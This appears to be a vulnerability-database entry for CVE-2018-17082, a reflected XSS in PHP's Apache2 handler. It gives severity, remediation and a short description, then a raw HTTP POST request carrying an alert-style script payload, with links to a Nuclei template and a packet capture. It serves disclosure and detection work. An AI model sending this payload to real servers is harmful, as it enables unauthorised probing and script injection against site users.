| Title | Apache2 - Transfer-Encoding Chunked XSS |
|---|---|
| Author | DhiyaneshDK |
| Severity | Medium |
| Impact | Attackers can execute malicious scripts in the context of the affected server, leading to potential session hijacking or data theft. |
| Remediation | Update to PHP 5.6.38, 7.0.32, 7.1.22, or 7.2.10 or later versions. |
| CVSS Score | 6.1 |
| EPSS Score | 0.081 |
| CVE ID | CVE-2018-17082 |
| CWE ID | CWE-79 |
| Tags | cve cve2018 php apache xss chunked |
Apache2 PHP before 5.6.38, 7.0.x before 7.0.32, 7.1.x before 7.1.22, and 7.2.x before 7.2.10 contain a reflected cross-site scripting vulnerability caused by mishandling of chunked transfer-encoding requests in sapi/apache2handler/sapi_apache2.c. Attackers can execute malicious scripts via crafted requests by sending a specially crafted chunked request.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Content-Length: 39
Accept-Encoding: gzip
<script>alert(document.domain)</script>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-17082.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-17082.pcap
N/AN/A